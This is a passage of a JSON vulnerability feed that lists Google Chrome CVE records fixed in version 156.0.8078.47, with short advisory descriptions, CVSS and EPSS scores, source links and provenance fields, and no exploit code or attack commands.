2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113208&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113208, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113207","cveId":"CVE-2026-113207","aliases":[],"kind":"vulnerability","title":"Use after free in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Use after free in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:13.763Z","updatedAt":"2026-10-23T20:00:16.850Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113207","asOf":"2026-10-23T20:00:16.850Z"},"epss":{"probability":0.00417,"percentile":0.35723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113207","type":"primary","publishedAt":"2026-10-20T22:19:13.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113206","cveId":"CVE-2026-113206","aliases":[],"kind":"vulnerability","title":"Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:13.657Z","updatedAt":"2026-10-22T14:06:54.653Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113206","asOf":"2026-10-22T14:06:54.653Z"},"epss":{"probability":0.00443,"percentile":0.38252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113206&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113206","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113206","type":"primary","publishedAt":"2026-10-20T22:19:13.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113206&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113206, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113205","cveId":"CVE-2026-113205","aliases":[],"kind":"vulnerability","title":"Use after free in Variations in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Variations in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Variations in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:13.543Z","updatedAt":"2026-10-22T14:07:00.340Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113205","asOf":"2026-10-22T14:07:00.340Z"},"epss":{"probability":0.00404,"percentile":0.34329,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113205","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113205","type":"primary","publishedAt":"2026-10-20T22:19:13.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113204","cveId":"CVE-2026-113204","aliases":[],"kind":"vulnerability","title":"Use after free in TrustedWebActivities in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via...","summary":"Use after free in TrustedWebActivities in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in TrustedWebActivities in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:13.440Z","updatedAt":"2026-10-22T15:21:14.860Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113204","asOf":"2026-10-22T15:21:14.860Z"},"epss":{"probability":0.00481,"percentile":0.41158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113204&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113204","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113204","type":"primary","publishedAt":"2026-10-20T22:19:13.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113204&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113204, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113203","cveId":"CVE-2026-113203","aliases":[],"kind":"vulnerability","title":"Use after free in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:13.327Z","updatedAt":"2026-10-22T15:21:25.590Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113203","asOf":"2026-10-22T15:21:25.590Z"},"epss":{"probability":0.00404,"percentile":0.34342,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113203&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113203","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113203","type":"primary","publishedAt":"2026-10-20T22:19:13.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113203&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113203, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113202","cveId":"CVE-2026-113202","aliases":[],"kind":"vulnerability","title":"Use after free in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:13.217Z","updatedAt":"2026-10-22T15:21:42.770Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113202","asOf":"2026-10-22T15:21:42.770Z"},"epss":{"probability":0.0056,"percentile":0.46357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113202","type":"primary","publishedAt":"2026-10-20T22:19:13.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113200","cveId":"CVE-2026-113200","aliases":[],"kind":"vulnerability","title":"Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:13.000Z","updatedAt":"2026-10-22T15:22:05.210Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113200","asOf":"2026-10-22T15:22:05.210Z"},"epss":{"probability":0.00404,"percentile":0.34342,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113200&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113200","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113200","type":"primary","publishedAt":"2026-10-20T22:19:13.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113200&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113200, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113198","cveId":"CVE-2026-113198","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:12.783Z","updatedAt":"2026-10-22T15:22:38.887Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113198","asOf":"2026-10-22T15:22:38.887Z"},"epss":{"probability":0.00443,"percentile":0.38239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113198","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113198","type":"primary","publishedAt":"2026-10-20T22:19:12.783Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113197","cveId":"CVE-2026-113197","aliases":[],"kind":"vulnerability","title":"Use after free in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:12.673Z","updatedAt":"2026-10-22T15:22:45.023Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113197","asOf":"2026-10-22T15:22:45.023Z"},"epss":{"probability":0.00443,"percentile":0.38238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113197","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113197","type":"primary","publishedAt":"2026-10-20T22:19:12.673Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113195","cveId":"CVE-2026-113195","aliases":[],"kind":"vulnerability","title":"Improper input validation in Downloads in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Improper input validation in Downloads in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Downloads in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:12.450Z","updatedAt":"2026-10-22T15:22:50.020Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113195","asOf":"2026-10-22T15:22:50.020Z"},"epss":{"probability":0.00443,"percentile":0.3825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113195&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113195","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113195","type":"primary","publishedAt":"2026-10-20T22:19:12.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113195&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113195, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113194","cveId":"CVE-2026-113194","aliases":[],"kind":"vulnerability","title":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:12.337Z","updatedAt":"2026-10-22T15:22:55.707Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google 